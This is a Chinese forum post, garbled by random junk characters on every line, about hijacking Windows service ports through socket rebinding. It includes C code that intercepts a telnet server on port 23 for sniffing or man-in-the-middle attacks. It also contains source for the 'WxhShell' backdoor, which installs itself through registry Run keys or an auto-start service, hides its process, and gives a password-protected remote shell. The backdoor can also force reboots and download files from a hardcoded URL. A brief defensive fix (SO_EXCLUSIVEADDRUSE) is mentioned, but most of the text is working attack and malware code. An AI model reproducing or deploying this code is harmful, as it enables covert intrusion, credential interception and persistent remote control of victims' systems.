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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -NzO,?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3[q&%Z.  
'u9,L FO  
  saddr.sin_family = AF_INET; @8keLrp  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oJ\)-qSf  
fPXMp%T!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N5W;Zx]  
* SAYli+@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {;:QY 1Q T  
FEOr'H<3x  
  这意味着什么?意味着可以进行如下的攻击: .&z/p3 1  
Z|78>0SAt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j[E8C$lW  
z-9@K<`H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Oup5LH!sW  
|\HYq`!g%7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "zN2+X"&  
 L#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rTJ='<hIy  
OO7sj@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b*;zdGX.A9  
Sf_q;Ws  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2/*F}w/  
/5x~3~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 / 7i>0J]  
* ':LBc=%  
  #include /KL;%:7  
  #include ^*6So3  
  #include ]'L#'"@  
  #include    ">{Ruv}$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MU  }<-1  
  int main() fPW|)e"  
  { ,^Cl?\9"  
  WORD wVersionRequested; o+NPe36  
  DWORD ret; ym\AVRO{  
  WSADATA wsaData; E?VPCx  
  BOOL val; PpxLMe]  
  SOCKADDR_IN saddr; d65fkz==A)  
  SOCKADDR_IN scaddr; Z$UPLg3=;_  
  int err; rP5&&Hso  
  SOCKET s; TT85G&#  
  SOCKET sc; *qX!  
  int caddsize; A-=B#UF  
  HANDLE mt; .Lwp`{F/  
  DWORD tid;   i8h(b2odQ  
  wVersionRequested = MAKEWORD( 2, 2 ); S":55YQev!  
  err = WSAStartup( wVersionRequested, &wsaData ); a {4Wg:  
  if ( err != 0 ) { /.knZ_aJ!  
  printf("error!WSAStartup failed!\n"); fbl8:c)I  
  return -1; /w!!jj^  
  } MD"a%H#p  
  saddr.sin_family = AF_INET; 3SI~?&HU!/  
   gs xT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fXL&?~fS  
P#0U[`ltK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LTn@OhC  
  saddr.sin_port = htons(23); `:aml+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B% ]yLJ  
  { v$WH#;(\  
  printf("error!socket failed!\n"); 6w?l I  
  return -1; mJ'Q9x"  
  } N7wKaezE  
  val = TRUE; uVSc1 MS1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \zdY$3z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Kyr3)1#J  
  { {?!0<0  
  printf("error!setsockopt failed!\n"); y ~PW_,  
  return -1; : \{>+!`w  
  } I[x+7Y0k9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (plsL   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wt@Qjbqd8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j O-H 1@;  
Fm{/&U^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y:x,pPyl  
  { 9<" .1  
  ret=GetLastError(); ym]12PAU5  
  printf("error!bind failed!\n"); i[+cNJ|$B0  
  return -1; FX->_}kL=  
  } S-5|t]LV  
  listen(s,2); 1#Ls4+]5  
  while(1) hoj('P2a#n  
  { RaT_5PH~g  
  caddsize = sizeof(scaddr); y^iju(  
  //接受连接请求 \{GBaMwG~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WGK:XfOBQ  
  if(sc!=INVALID_SOCKET) ,Ky-3p>  
  { K1_]ne)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .5tE, (<?  
  if(mt==NULL) *EB`~s  
  { L@&(>  
  printf("Thread Creat Failed!\n"); ZCcKY6b  
  break; &*e(  
  } pBbfU2p  
  } +L]$M)*0&  
  CloseHandle(mt); _MI8P/  
  } d3IMQ_k  
  closesocket(s); )-u0n] ,  
  WSACleanup(); )' hOW*v  
  return 0; O'WB O"  
  }   kp$w)%2JW  
  DWORD WINAPI ClientThread(LPVOID lpParam) nZtP!^#  
  { y-1!@|l0:6  
  SOCKET ss = (SOCKET)lpParam; 9_4bw9 A  
  SOCKET sc; K:cZ q3F  
  unsigned char buf[4096]; %x]8^vze  
  SOCKADDR_IN saddr; "R!) "B==  
  long num; P@xb  
  DWORD val; %77X/%.Y  
  DWORD ret; f~rq)2V:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nF)XZB 0F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Nr(t5TP^  
  saddr.sin_family = AF_INET; O^L#(8bC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Pd nE~  
  saddr.sin_port = htons(23); )o;oOPT!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3+uCTn0%  
  { M];?W  
  printf("error!socket failed!\n"); l`wF;W!  
  return -1; gR]NH  
  } [d3i _^\  
  val = 100; '  ~F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;WqWD-C  
  { xis],.N  
  ret = GetLastError(); t!285J8tn  
  return -1; "B34+fOur  
  } Af`qe+0E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ht,dMt>:  
  { VUF$,F9  
  ret = GetLastError(); ~M !9E])  
  return -1; &%\H170S  
  } Ig{ 3>vB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Fs}vI~}  
  { N,?4,+Hc-  
  printf("error!socket connect failed!\n"); |Vj@;+/j  
  closesocket(sc); Al0ls  
  closesocket(ss); Ks>l=5~v|  
  return -1; 0LW|5BVbIO  
  } GLpl  
  while(1) |vUjoa'.7E  
  { \}p!S$`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x,rK4L7U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mFa%d8Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [zw0'-h.  
  num = recv(ss,buf,4096,0); !*1Kjg3  
  if(num>0)  qH9bo-6  
  send(sc,buf,num,0); , |lDR@  
  else if(num==0) Gtm|aR{OS  
  break; PZ[hH(EX  
  num = recv(sc,buf,4096,0); 9[@K4&  
  if(num>0) U1y8Y/  
  send(ss,buf,num,0); f[s|<U^  
  else if(num==0) xro%AM  
  break; z^z,_?q;  
  } ~^<1k-  
  closesocket(ss); Y A:!ULzR*  
  closesocket(sc); O}Mu_edM  
  return 0 ; j0q:i}/U,  
  } P~^VLnw  
EU,f;H  
sn.0`Stt  
========================================================== *2^+QKDG  
Zjq(]y  
下边附上一个代码,,WXhSHELL ,u@Vi0  
98ot{+/LK  
========================================================== N/V~>UJ0{*  
8ZN"-]*  
#include "stdafx.h" Muay6b?  
G4jyi&]  
#include <stdio.h> }|9!|Q  
#include <string.h> 3X:)r<  
#include <windows.h> :v Do{My^1  
#include <winsock2.h> \NF5)]:  
#include <winsvc.h> 0Bn35.K  
#include <urlmon.h> *m6h(8(7Z  
bD:[r))#e  
#pragma comment (lib, "Ws2_32.lib") D3(rD]c0{  
#pragma comment (lib, "urlmon.lib") 1@<PcQBp  
VOkSR6  
#define MAX_USER   100 // 最大客户端连接数 H-C$Jy)f"  
#define BUF_SOCK   200 // sock buffer t#N@0kIX.  
#define KEY_BUFF   255 // 输入 buffer {7Qj+e^  
Y2d(HD@  
#define REBOOT     0   // 重启 nAT,y9&  
#define SHUTDOWN   1   // 关机 d9Uv/VGp  
 0U&@;/?  
#define DEF_PORT   5000 // 监听端口 76eF6N+%}t  
2kkqPBc_  
#define REG_LEN     16   // 注册表键长度 @aC9O 9|~  
#define SVC_LEN     80   // NT服务名长度 uFYcVvbT@  
_L% =Q ulu  
// 从dll定义API H aA2y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _uq[D`=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T?k!%5,Kj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EN/r{Cm$B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E@/* eJ  
KbGz3O'u  
// wxhshell配置信息 |7)oX  
struct WSCFG { 4o3TW#  
  int ws_port;         // 监听端口 60--6n  
  char ws_passstr[REG_LEN]; // 口令 l>*L Am5  
  int ws_autoins;       // 安装标记, 1=yes 0=no {v,NNKQ4x  
  char ws_regname[REG_LEN]; // 注册表键名 <^(>o  
  char ws_svcname[REG_LEN]; // 服务名 ,(;]8G-Yj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {v}BtZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Tv~$\=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YLv5[pV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sH51 .JG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ny5$IIF e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }!QVcu"+t/  
;iO5 8S3  
}; !X4m6gRaP  
zGtv(gwk  
// default Wxhshell configuration 1b,MJ~g$  
struct WSCFG wscfg={DEF_PORT, c>%%'c  
    "xuhuanlingzhe", @kWRI*m  
    1, fk2p}  
    "Wxhshell", 3YD.Fjz$  
    "Wxhshell", +'9E4Lpx  
            "WxhShell Service", W|(U} PrC  
    "Wrsky Windows CmdShell Service", !W/"Z!k  
    "Please Input Your Password: ", m[qW)N:w  
  1, _c>8y  
  "http://www.wrsky.com/wxhshell.exe", N(`XqeC*  
  "Wxhshell.exe" 2" u,f  
    }; nLY(%):(P  
8EY]<#PN  
// 消息定义模块 gMsB1|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oVQbc \P3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .`jYrW-k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5;X r0f  
char *msg_ws_ext="\n\rExit."; (W |;gQ  
char *msg_ws_end="\n\rQuit."; PZihC  
char *msg_ws_boot="\n\rReboot..."; C."\ a_p  
char *msg_ws_poff="\n\rShutdown..."; `r]C%Y4?  
char *msg_ws_down="\n\rSave to "; ;r} yeI Sf  
]OV}yD2p  
char *msg_ws_err="\n\rErr!"; IXpn(vX  
char *msg_ws_ok="\n\rOK!"; }H:wgy`  
U+,RP$r@  
char ExeFile[MAX_PATH]; Sq]QRI/  
int nUser = 0; 2  ZyO  
HANDLE handles[MAX_USER]; "V`5 $ur  
int OsIsNt; ;KgDVq5  
V1yP{XT=  
SERVICE_STATUS       serviceStatus; ` <u2 N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jwpc8MQ  
Muyi2F)j  
// 函数声明 r@EHn[w  
int Install(void); !oYNJE Y7  
int Uninstall(void); |nBs(>b  
int DownloadFile(char *sURL, SOCKET wsh); /[A#iTe  
int Boot(int flag); 4UHviuOo8  
void HideProc(void); xdh%mG:?  
int GetOsVer(void); e~geBlLar  
int Wxhshell(SOCKET wsl); G5ShheZd  
void TalkWithClient(void *cs); M(vX.kF  
int CmdShell(SOCKET sock); {DZ xK(  
int StartFromService(void); $HCgawQ  
int StartWxhshell(LPSTR lpCmdLine); iK!FVKi}  
S6Y:Z0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0 \V)DV.i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lngf,Of.e  
n=?wX#rEC#  
// 数据结构和表定义 2"c5<  
SERVICE_TABLE_ENTRY DispatchTable[] = a(LtiO  
{ 7CH.BY  
{wscfg.ws_svcname, NTServiceMain}, @`ii3&W4  
{NULL, NULL} `g <0FQA  
}; jVh:Bw  
N`~f77G  
// 自我安装 LTB rg[X  
int Install(void) bu -6}T+  
{ lOM8%{.'_x  
  char svExeFile[MAX_PATH]; Ze <)B *  
  HKEY key; 9bhubx\^/  
  strcpy(svExeFile,ExeFile); DF UTQ:N  
*qu5o5Q  
// 如果是win9x系统,修改注册表设为自启动 w O Ou/Y  
if(!OsIsNt) { UyFC\vQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d2TIG<6/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @v3)N[|d  
  RegCloseKey(key); efE=5%O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CM%;/[WBxy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !c dY`f6x  
  RegCloseKey(key); s6r(\L_Im  
  return 0; 'Lw8l `7  
    } jT!?lqr(Rb  
  } ^qi+Y)dU|  
} x6*y$D^B  
else { H_Xk;fM  
78r0K 5=  
// 如果是NT以上系统,安装为系统服务 XE&h&v=>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IZ\fvYp  
if (schSCManager!=0) iSUu3Yv,_m  
{ Q*M(d\Vs  
  SC_HANDLE schService = CreateService i+pQ 7wx  
  ( (&v,3>3]  
  schSCManager, 0Lb{HLT  
  wscfg.ws_svcname, Ftd,dqd  
  wscfg.ws_svcdisp, Ji:<eRx)  
  SERVICE_ALL_ACCESS, 0S9~db  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cx ("F /Jm  
  SERVICE_AUTO_START, bwcr/J( Nb  
  SERVICE_ERROR_NORMAL, {jH'W)nR  
  svExeFile, H?!DcUg CC  
  NULL, J#ClQ%  
  NULL, =FI[/"476  
  NULL, sH_, P  
  NULL, Iqn (NOq^[  
  NULL ``I[1cC  
  ); g<,0kl2'S  
  if (schService!=0) `34{/ }w  
  { rZcSG(d`53  
  CloseServiceHandle(schService); >fth iA  
  CloseServiceHandle(schSCManager); D6|-nl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zd%wX<hU"  
  strcat(svExeFile,wscfg.ws_svcname); ipl,{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $45.*>,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zx,9x*g  
  RegCloseKey(key); eG8 l^[  
  return 0; i;s;:{cn  
    } U8y?S]}vo  
  } `C C=?E  
  CloseServiceHandle(schSCManager); yP>025o't  
} >iRkhA=Vg  
} QxGcRlpLK  
esQ$.L  
return 1; y22DBB8  
} -zn_d]NV  
-`eB4j'7  
// 自我卸载 Z<^!N)  
int Uninstall(void) ZTz07Jt  
{ 5%e+@X;j  
  HKEY key; )wCNLi>4  
k4hk* 0Jq  
if(!OsIsNt) { P\<:.8@$S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CswKT 9  
  RegDeleteValue(key,wscfg.ws_regname); lw[c+F7  
  RegCloseKey(key); < F;+A{M)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7pciB}$2  
  RegDeleteValue(key,wscfg.ws_regname); )RvX}y-  
  RegCloseKey(key); zxCx2.7  
  return 0; |*UB/8C^/!  
  } /e?0Iv" 8>  
} S#v3%)R  
} \`xlD&F@U  
else { dXQC}JA  
@sA!o[gH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `o295eiY(b  
if (schSCManager!=0) Q=fl!>P  
{ O>1Cx4s5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gCC7L(1  
  if (schService!=0) _"L6mcI6  
  { QAp]cE1ew  
  if(DeleteService(schService)!=0) { ByJPSuc D  
  CloseServiceHandle(schService); 3oMHy5  
  CloseServiceHandle(schSCManager); @`:X,]{  
  return 0; PWiUW{7z  
  } S#y[_C?H  
  CloseServiceHandle(schService); @x+2b0 b  
  } nWY^?e'S  
  CloseServiceHandle(schSCManager); $=N?[h&4  
} B6k<#-HAT  
} Pap6JR{7  
u"*DI=pwb  
return 1; YnU)f@b#  
} 9yC22C:  
9tPRQ M7  
// 从指定url下载文件 *Z_4bR4Q  
int DownloadFile(char *sURL, SOCKET wsh) p\ ;|Z+0=  
{ xi(\=LbhY  
  HRESULT hr; bC1G5`v_D  
char seps[]= "/"; ($[+dR  
char *token; cS9jGD92  
char *file; qz>R"pj0g  
char myURL[MAX_PATH]; m\0_1 #(  
char myFILE[MAX_PATH]; %8tE*3iUF  
pOo016afmA  
strcpy(myURL,sURL); G#GZt\)F  
  token=strtok(myURL,seps); WJnGF3G>  
  while(token!=NULL) wqF?o  
  { c Pf_B=  
    file=token; ` z0q:ME  
  token=strtok(NULL,seps); V9BW@G@9  
  } Fds 11 /c7  
TjEXR$:<  
GetCurrentDirectory(MAX_PATH,myFILE); KddCR&  
strcat(myFILE, "\\"); =zcvR {Dkp  
strcat(myFILE, file); mnsl$H_4S  
  send(wsh,myFILE,strlen(myFILE),0); ^0OP&s;"  
send(wsh,"...",3,0); =x\`yxsG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }Pg}"fb^  
  if(hr==S_OK) j,+]tHC-  
return 0; <]M. K3>  
else Km8aHc]O~  
return 1; `Zm6e!dH-  
2H)4}5H  
} rQVX^  
yQD>7%x  
// 系统电源模块 Z)#UCoK!c  
int Boot(int flag) ?1SsF>|  
{ F+V!p4G  
  HANDLE hToken; Yg^ &4ZF  
  TOKEN_PRIVILEGES tkp; eMJ>gXA]  
c0gVW~I1  
  if(OsIsNt) { sI!H=bp-8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'j6O2=1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2M-[x"\1/  
    tkp.PrivilegeCount = 1; \xkKgI/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3N2d V6u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h^yqrDyJ  
if(flag==REBOOT) { l}))vf=i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P2-&Im`+  
  return 0; 6QX m] <  
} lD/9:@q\V  
else { >1Z"5F7=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :CyHo6o9  
  return 0; e"nm<&  
}   EO&Q  
  } f<Hi=Qpm  
  else { hJ}i+[~be  
if(flag==REBOOT) { qz-QVY,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t;e&[eg  
  return 0; gsk? !D  
} hy5[ L`B  
else { l#'V SFm&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HeRi67  
  return 0; <xOX+D  
} ?l0eU@rwQ  
} %=^/^[D  
hJb2y`,q  
return 1; !GqFX+!Ju  
} _QPqF{iI  
5?kfE  
// win9x进程隐藏模块 fjh|V9H  
void HideProc(void) nI\6a G?`  
{ D0D=;k   
9P?0D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @r TB&>`  
  if ( hKernel != NULL ) Zse&{  
  { I\~[GsDY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ] G&*HMtp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )U@9dV7u  
    FreeLibrary(hKernel); VI0wul~M  
  } :GXF=Df  
7n8nJTU{4j  
return; S /hx\TzC  
} Kxr@!m"  
5R7x%3@L  
// 获取操作系统版本 L:$4o  
int GetOsVer(void) RY , <*  
{ [jMN*p?  
  OSVERSIONINFO winfo; cq1 5@a mX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n|(lPbD  
  GetVersionEx(&winfo); m=dNJF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;8sL  
  return 1; R'>!1\?Iq  
  else FlqGexY5  
  return 0; k9Pvh,_wp  
} Y6` xb`  
smP4KC"I(d  
// 客户端句柄模块 q~ H>rC(\  
int Wxhshell(SOCKET wsl) "r9Rr_, >  
{ cS ~OxAS  
  SOCKET wsh; Q Be6\oq  
  struct sockaddr_in client; '!HTE` Aj  
  DWORD myID; |cvU2JI@  
d)o5JD/  
  while(nUser<MAX_USER)  ;Shu  
{ Y|>dS8f;4  
  int nSize=sizeof(client); Xka REE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u#0snw~)/  
  if(wsh==INVALID_SOCKET) return 1; ]3KeAJ  
eV9U+]C`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O)'CU1vMb  
if(handles[nUser]==0) |Y9>kXMl  
  closesocket(wsh); Hfcpqa  
else H>~CL  
  nUser++; 0=Z[6Q@:  
  } #}`sfaT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E&M(QX5  
CIudtY(:  
  return 0; MpV<E0CmE  
} (MwRe?Ih  
gq=t7b  
// 关闭 socket honh 'j  
void CloseIt(SOCKET wsh) PDNl]?  
{ w"hd_8cO  
closesocket(wsh); s8h*nZ)v  
nUser--; YT\`R  
ExitThread(0); kDmm  
} tsXKhS;/w  
Y;i=c6  
// 客户端请求句柄 kAftW '  
void TalkWithClient(void *cs) { bj!]j  
{ KC/O EJ`  
9LR=>@Z  
  SOCKET wsh=(SOCKET)cs; i]8O?Ab>?  
  char pwd[SVC_LEN]; Pv -4psdw  
  char cmd[KEY_BUFF]; 0TU3 _;o  
char chr[1]; #{i*9'  
int i,j; w~lH2U'k}  
c-w #`  
  while (nUser < MAX_USER) { *z0!=>(  
DiJLWXs  
if(wscfg.ws_passstr) { Z #[?~P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `DM%a~^yg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rXx#<7`  
  //ZeroMemory(pwd,KEY_BUFF); c(Q@5@1y:  
      i=0; }b_Ob  
  while(i<SVC_LEN) { 'uL4ezTtA  
K_i|cYGV  
  // 设置超时 z^bS+0S5x!  
  fd_set FdRead; E7Lqa S  
  struct timeval TimeOut; 4Aj~mA  
  FD_ZERO(&FdRead); C'6I< YX  
  FD_SET(wsh,&FdRead); ;[<(4v$  
  TimeOut.tv_sec=8; rN0<y4)!  
  TimeOut.tv_usec=0; `TBXJ(Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~\":o:qyc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `v*HH}aDO  
g5V\R*{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R1];P*>%gZ  
  pwd=chr[0]; qC`}vr|Z  
  if(chr[0]==0xd || chr[0]==0xa) { DbGS]k<$  
  pwd=0; K%q5:9m  
  break; C`5'5/-.  
  } 3H2~?CaJ  
  i++;  -WC0W  
    } ,#Z%0NLe  
+B*]RL[th  
  // 如果是非法用户,关闭 socket 7l* &Fh9;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AtQ.H-8r  
} ,s8/6n#  
nI:M!j5s`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8dE0y P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W!{RJWe  
/7}pReUj  
while(1) { C;W@OS-;  
M(X _I`\E  
  ZeroMemory(cmd,KEY_BUFF); .}==p&(  
__=53]jGE  
      // 自动支持客户端 telnet标准   $1yy;IyR  
  j=0; )vW'g3u_  
  while(j<KEY_BUFF) { Oeh A3$|#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] Lv3XMa  
  cmd[j]=chr[0]; JK$3qUDnI  
  if(chr[0]==0xa || chr[0]==0xd) { P$E iD+5#z  
  cmd[j]=0; K43%9=sM  
  break; J(]|)?x2  
  } J"aw 1  
  j++; gFR}WBl/  
    } 9$)&b\D  
P< OH{l  
  // 下载文件 {irc0gI  
  if(strstr(cmd,"http://")) { #^}H)>jWy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l7-lXl"%q  
  if(DownloadFile(cmd,wsh)) xfRp_;l+R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M@[W"f Wq  
  else sOhn@*X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oiib2Ov  
  } AjK5x@\  
  else { |Y3w6!$  
Fb{N>*l.  
    switch(cmd[0]) { +>PsQ^^x  
  -06G.;W\^  
  // 帮助 ^lp=4C9  
  case '?': { 5*44QV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u@Hz7Q} P  
    break; ?UsCSJ1V  
  } gmVN(K}SR5  
  // 安装 ,U""m7   
  case 'i': { )Rn\6ka  
    if(Install()) G_+/ e]P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A4zI1QF  
    else MT!Y!*-5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "z9C@T  
    break; Sr \y1nt  
    } qA>#;UTp  
  // 卸载 (\ab%M   
  case 'r': { y i$+rPF1  
    if(Uninstall()) r^m&<)Ca  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NtM>`5{?  
    else 8\s#law  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bTJ<8q  
    break; .Y6v#VI  
    } |y^=(|eM  
  // 显示 wxhshell 所在路径 ,sitOy}ks  
  case 'p': { 3)WfBvG  
    char svExeFile[MAX_PATH]; lp(2"$nQ  
    strcpy(svExeFile,"\n\r"); xX-r<:'tmi  
      strcat(svExeFile,ExeFile); ,IB\1#  
        send(wsh,svExeFile,strlen(svExeFile),0); wN.S]  
    break; @)d_zWE  
    } {D[6=\ F  
  // 重启 #G#gc`S-,  
  case 'b': { ^]sb=Amw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wG49|!l6T  
    if(Boot(REBOOT)) j""ZFh04  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [W3X$r~-  
    else { t*hy"e{*a  
    closesocket(wsh); 6J>AU  
    ExitThread(0); .e7tq\k  
    } uE.BB#  
    break; 3O,nNt;L{  
    } V;eaQ  
  // 关机 9s<4`oa  
  case 'd': { $z[S0Cm  
